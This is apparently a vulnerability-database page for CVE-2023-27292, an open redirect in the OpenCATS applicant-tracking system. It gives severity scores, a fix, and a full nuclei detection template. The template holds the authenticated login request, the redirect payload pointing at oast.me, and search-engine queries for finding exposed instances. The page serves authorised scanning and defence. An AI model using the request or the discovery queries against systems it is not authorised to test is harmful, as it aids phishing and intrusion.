HexBrain

Browse / CVEs / CVE-2023-27292

CVE-2023-27292· opencats / opencats· CWE-601

OpenCATS - Open Redirect

mediumseverity
5.4CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it

OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.

Impact

An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.

Fix

Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.

How to confirm it

Send: POST /index.php?m=login&a=attemptLogin ; GET /index.php?m=settings&a=previewPage&url=https://oast.me
Positive when: contains "<TITLE>Page Preview</TITLE>" and "<FRAME src=\"https://oast.me\">" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27292 -u <target>

The full check
id: CVE-2023-27292

info:
  name: OpenCATS - Open Redirect
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
  remediation: |
    Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27292
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-27292
    cwe-id: CWE-601
    epss-score: 0.01027
    epss-percentile: 0.6391
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve2023,cve,authenticated,tenable,opencats,redirect,vuln

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<TITLE>Page Preview</TITLE>'
          - '<FRAME src="https://oast.me">'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from